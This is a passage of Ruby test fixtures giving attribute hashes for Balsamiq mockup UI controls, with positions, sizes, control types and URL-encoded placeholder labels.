:verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 18, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 12, :state => nil, :hLines => nil, :controlTypeID => :CheckBox, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 598, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 442, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataColorPicker = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 26, :text => nil, :rowHeight => nil, :dragger => nil, :controlID => 13, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 28, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 13, :state => nil, :hLines => nil, :controlTypeID => :ColorPicker, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 540, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 442, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataComboBox = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 92, :text => "ComboBox", :rowHeight => nil, :dragger => nil, :controlID => 14, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 25, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 14, :state => nil, :hLines => nil, :controlTypeID => :ComboBox, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 681, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 546, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataStickyNote = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 109, :text => "A%20comment", :rowHeight => nil, :dragger => nil, :controlID => 15, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 123, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 15, :state => nil, :hLines => nil, :controlTypeID => :StickyNote, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 706, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 397, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataCoverFlow = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 493, :text => nil, :rowHeight => nil, :dragger => nil, :controlID => 16, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 198, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 16, :state => nil, :hLines => nil, :controlTypeID => :CoverFlow, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 815, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 821, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataDataGrid = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 336, :text => "Name%2C%20Last%20Name%2C%20Age%2C%20Nickname%2C%20Kid%0AGiacomo%2C%20Guilizzoni%2C%2033%2C%20Peldi%2C%20%5B%5D%0AGuido%20Jack%2C%20Guilizzoni%2C%203%2C%20The%20Guids%2C%20%5Bx%5D%0AMariah%2C%20Maclachlan%2C%2034%2C%20Patata%2C%20%5B%5D", :rowHeight => nil, :dragger => nil, :controlID => 17, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 118, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 17, :state => nil, :hLines => nil, :controlTypeID => :DataGrid, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 1355, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 390, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataDateChooser = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 106, :text => "%20%20/%20%20/%20%20%20%20", :rowHeight => nil, :dragger => nil, :controlID => 18, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 29, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 18, :state => nil, :hLines => nil, :controlTypeID => :DateChooser, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 516, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 493, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataTitleWindow = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 450, :text => "Window%20Name", :rowHeight => nil, :dragger => nil, :controlID => 19, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 400, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 19, :state => nil, :hLines => nil, :controlTypeID => :TitleWindow, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 1326, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 531, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataFormattingToolbar = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 270, :text => nil, :rowHeight => nil, :dragger => nil, :controlID => 20, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 29, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 20, :state => nil, :hLines => nil, :controlTypeID => :FormattingToolbar, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 145, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 965, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataFieldSet = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 200, :text => "Group%20Name", :rowHeight => nil, :dragger => nil, :controlID => 21, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 170, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 21, :state => nil, :hLines => nil, :controlTypeID => :FieldSet, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 662, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 597, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataHelpButton = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 18, :text => nil, :rowHeight => nil, :dragger => nil, :controlID => 22, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 18, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 22, :state => nil, :hLines => nil, :controlTypeID => :HelpButton, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 520, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 544, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataHCurly = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 200, :text => "A%20paragraph%20of%20text.%0AA%20second%20row%20of%20text.", :rowHeight => nil, :dragger => nil, :controlID => 23, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 80, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 23, :state => nil, :hLines => nil, :controlTypeID => :HCurly, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 1727, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 417, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataHRule = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 100, :text => nil, :rowHeight => nil, :dragger => nil, :controlID => 24, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 5, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 24, :state => nil, :hLines => nil, :controlTypeID => :HRule, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 1832, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 505, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataHorizontalScrollBar = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 100, :text => nil, :rowHeight => nil, :dragger => nil, :controlID => 25, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 17, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 25, :state => nil, :hLines => nil, :controlTypeID => :HorizontalScrollBar, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 1833, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 524, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataHSlider = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 43, :text => nil, :rowHeight => nil, :dragger => nil, :controlID => 26, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 11, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 26, :state => nil, :hLines => nil, :controlTypeID => :HSlider, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 1848, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 550, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataVSplitter = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 100, :text => nil, :rowHeight => nil, :dragger => nil, :controlID => 27, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 12, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 27, :state => nil, :hLines => nil, :controlTypeID => :VSplitter, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 1826, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 570, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataIcon = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 48, :text => nil, :rowHeight => nil, :dragger => nil, :controlID => 28, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 48, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 28, :state => nil, :hLines => nil, :controlTypeID => :Icon, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 1350, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 945, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataIconLabel = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 73, :text => "Icon%20Name", :rowHeight => nil, :dragger => nil, :controlID => 29, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 73, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 29, :state => nil, :hLines => nil, :controlTypeID => :IconLabel, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 1411, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 936, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataImage = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 141, :text => nil, :rowHeight => nil, :dragger => nil, :controlID => 30, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 144, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 30, :state => nil, :hLines => nil, :controlTypeID => :Image, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 1810, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 600, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataLabel = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 69, :text => "Some%20text", :rowHeight => nil, :dragger => nil, :controlID => 31, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 25, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 31, :state => nil, :hLines => nil, :controlTypeID => :Label, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 1502, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 943, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataLink = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 39, :text => "a%20link", :rowHeight => nil, :dragger => nil, :controlID => 32, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 25, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 32, :state => nil, :hLines => nil, :controlTypeID => :Link, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 1521, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 970, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataLinkBar = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 242, :text => "Home%2CProducts%2CCompany%2CBlog", :rowHeight => nil, :dragger => nil, :controlID => 33, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 25, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 33, :state => nil, :hLines => nil, :controlTypeID => :LinkBar, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 945, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 382, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataList = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 100, :text => "Item%20One%0AItem%20Two%0AItem%20Three", :rowHeight => nil, :dragger => nil, :controlID => 34, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 126, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 34, :state => nil, :hLines => nil, :controlTypeID => :List, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 1796, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 754, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataMenu = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 150, :text => "Open%2CCTRL+O%0AOpen%20Recent%20%3E%0A---%0Ao%20Option%20One%0AOption%20Two%0A%3D%0Ax%20Show%20Something%0AExit%2CCTRL+Q", :rowHeight => nil, :dragger => nil, :controlID => 35, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 170, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 35, :state => nil, :hLines => nil, :controlTypeID => :Menu, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 1903, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 758, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataMenuBar = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 217, :text => "File%2CEdit%2CView%2CHelp", :rowHeight => nil, :dragger => nil, :controlID => 36, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 29, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 36, :state => nil, :hLines => nil, :controlTypeID => :MenuBar, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 1746, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 380, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataModalScreen = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 320, :text => nil, :rowHeight => nil, :dragger => nil, :controlID => 37, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 240, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 37, :state => nil, :hLines => nil, :controlTypeID => :ModalScreen, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 1995, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 382, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataMultilineButton = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 155, :text => "Multiline%20Button%0ASecond%20line%20of%20text", :rowHeight => nil, :dragger => nil, :controlID => 38, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 78, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 38, :state => nil, :hLines => nil, :controlTypeID => :MultilineButton, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 1580, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 933, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataNumericStepper = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 41, :text => "3", :rowHeight => nil, :dragger => nil, :controlID => 39, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 26, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 39, :state => nil, :hLines => nil, :controlTypeID => :NumericStepper, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 1729, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 482, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataParagraph = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 200, :text => "A%20paragraph%20of%20text.%0AA%20second%20row%20of%20text.", :rowHeight => nil, :dragger => nil, :controlID => 40, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 140, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 40, :state => nil, :hLines => nil, :controlTypeID => :Paragraph, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 1767, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 953, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataMediaControls = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 111, :text => nil, :rowHeight => nil, :dragger => nil, :controlID => 41, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 35, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 41, :state => nil, :hLines => nil, :controlTypeID => :MediaControls, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 1782, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 902, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataProgressBar = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 100, :text => nil, :rowHeight => nil, :dragger => nil, :controlID => 42, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 20, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 42, :state => nil, :hLines => nil, :controlTypeID => :ProgressBar, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 1932, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 952, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataRadioButton = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 99, :text => "Radio%20Button", :rowHeight => nil, :dragger => nil, :controlID => 43, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 18, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 43, :state => nil, :hLines => nil, :controlTypeID => :RadioButton, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 1988, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 646, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataCanvas = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 100, :text => nil, :rowHeight => nil, :dragger => nil, :controlID => 44, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 70, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 44, :state => nil, :hLines => nil, :controlTypeID => :Canvas, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 2124, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 635, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataRedX = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 240, :text => nil, :rowHeight => nil, :dragger => nil, :controlID => 45, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 104, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 45, :state => nil, :hLines => nil, :controlTypeID => :RedX, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 2071, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 711, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataRoundButton = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 32, :text => nil, :rowHeight => nil, :dragger => nil, :controlID => 46, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 31, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 46, :state => nil, :hLines => nil, :controlTypeID => :RoundButton, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 1991, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 693, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataScratchOut = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 205, :text => nil, :rowHeight => nil, :dragger => nil, :controlID => 47, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 107, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 47, :state => nil, :hLines => nil, :controlTypeID => :ScratchOut, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 2084, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 804, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataSearchBox = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 94, :text => "search", :rowHeight => nil, :dragger => nil, :controlID => 48, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 25, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 48, :state => nil, :hLines => nil, :controlTypeID => :SearchBox, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 1935, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 989, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataMap = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 252, :text => nil, :rowHeight => nil, :dragger => nil, :controlID => 49, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 222, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 49, :state => nil, :hLines => nil, :controlTypeID => :Map, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 2588, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 724, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataTabBar = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 256, :text => "One%2C%20Two%2C%20Three%2C%20Four", :rowHeight => nil, :dragger => nil, :controlID => 50, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 100, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 50, :state => nil, :hLines => nil, :controlTypeID => :TabBar, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 930, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 1012, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataTagCloud = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 350, :text => "software%20statistics%20teaching%20technology%20tips%20tool%20tools%20toread%20travel%20tutorial%20tutorials%20tv%20twitter%20typography%20ubuntu%20usability%20video%20videos%20visualization%20web%20web2.0%20webdesign%20webdev%20wiki%20windows%20wordpress%20work%20writing%20youtube", :rowHeight => nil, :dragger => nil, :controlID => 51, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 250, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 51, :state => nil, :hLines => nil, :controlTypeID => :TagCloud, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 2347, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 485, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataTextArea = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 200, :text => "Some%20text%0AA%20second%20line%20of%20text", :rowHeight => nil, :dragger => nil, :controlID => 52, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 140, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 52, :state => nil, :hLines => nil, :controlTypeID => :TextArea, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 2353, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 739, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataTextInput = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 72, :text => "Some%20text", :rowHeight => nil, :dragger => nil, :controlID => 53, :verticalScrollbar => nil, :leftArrow => nil, :bold => nil, :h => 29, :selectedIndex => nil, :hasHeader => nil, :vLines => nil, :maximizeRestore => nil, :borderStyle => nil, :zOrder => 53, :state => nil, :hLines => nil, :controlTypeID => :TextInput, :minimize => nil, :bottomheight => nil, :isInGroup => -1, :tabVPosition => nil, :size => nil, :icon => nil, :align => nil, :x => 1356, :position => nil, :color => nil, :topheight => nil, :italic => nil, :alternateRowColor => nil, :y => 1027, :rightArrow => nil, :direction => nil, :close => nil, } BalsamiqTestDataTitle = { :underline => nil, :labelPosition => nil, :backgroundAlpha => nil, :w => 